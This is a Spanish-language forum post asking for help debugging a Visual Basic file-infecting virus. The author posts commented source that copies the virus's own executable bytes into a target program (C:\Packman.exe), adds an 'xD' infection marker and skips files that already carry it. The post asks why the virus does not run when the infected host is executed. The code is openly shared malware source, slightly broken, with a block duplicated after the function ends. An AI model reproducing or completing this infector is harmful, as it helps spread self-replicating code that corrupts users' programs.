Infección de ejecutables !¡!

buenas, pues consigo infectar el archivo pero, cuando ejecuto el file infectado, se ejecuta correctamente sin haun haberlo regenerado..pero no ejecuta mi virus, segun un tuto de override dice el: que nuestro huesped despues de infectarlo con el methodo prepender...no se ejecutara sin generarlo $:-\$ OK..pero entonces como carajo..lo infecto..y luego el husped se ejecuta $:-\$ ..claro que el virus NO se ejecuta pero el husped si..bueno tengo un lio, pongo el codigo y lo comento, y me dicen porfavor si hay algo que no entiendo, pero bueno entiendo todo lo que es la funcion de infectar, que no hay mas codigo x el momento, es un proyecto aparte para aprender este metodo de infecion.

Código:

Private Const PV = 12288  ' contstante donde meto el peso de mi virus
Option Explicit

Private Sub Form_Load()
infect ("C:\Packman.exe")  ' infect..la funcion..pakman + ruta..esta claro
End Sub

Private Sub Timer1_Timer()
MsgBox " soy el codigo del virus"         ' un timer...que no mas es d ejemplo
Me.Caption = "soy el caption del virus"
MsgBox " soy otra parte del codigo"
Me.Caption = "yo tb ;) "
End Sub

Private Function infect(fileainfectar As String) As Boolean
Dim buffer As String  ' una variable que la vamos a usar como buffer para almasenar el peso del husped
Dim viruspv As String




Open fileainfectar For Binary Access Read As #1  ' abrimos el file a infectar el huesped para leer dedatos
buffer = Space(LOF(1))  ' en la val, buffer le decimos LOF(1) = al peso del huesped
Get #1, , buffer   'leemos en el canal uno la variable buffer
Close #1 'cerramos

If (Right(buffer, 2) <> "xD") Then ' una condicion, le añadimos a buffer en los dos últimos bytes de la app una marka viral para saber si el file esta infectao y entonces infectarlo
MsgBox "el archivo no esta markado x lo tanto no esta infectado, vamos a infectarlo ;)"

Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #2  ' nos abrimos a nosotros mismo ( al virus en el canal2 )
viruspv = Space(PV)  ' en viruspv ( peso del virus ) metemos PV la constante k tiene todo nuestro peso
Get #2, , viruspv  'leemos los datos de la val, viruspv
Close #2 'ceramos 


Open fileainfectar For Binary Access Write As #3  'abrimos el huesped para infectarlo, "Write" para escribir ene l una serie d datos
Put #3, , buffer  ' ponemos/ecsribimos los datos de la val, buffer
Put #3, , viruspv  ' lo mismo con el peso del virus
Put #3, , "xD"  ' y la marka de infecion
Close #3  'cerramos

Else ' un else--.--
MsgBox " el file que queremos infectar tiene nuestra MARKA...esta infectado, provemos con otro ;)"

End If

End Function

Open fileainfectar For Binary Access Write As #3 'abrimos el huesped para infectarlo, "Write" para escribir ene l una serie d datos
Put #3, , buffer ' ponemos/ecsribimos los datos de la val, buffer
Put #3, , viruspv ' lo mismo con el peso del virus
Put #3, , "xD" ' y la marka de infecion
Close #3 'cerramos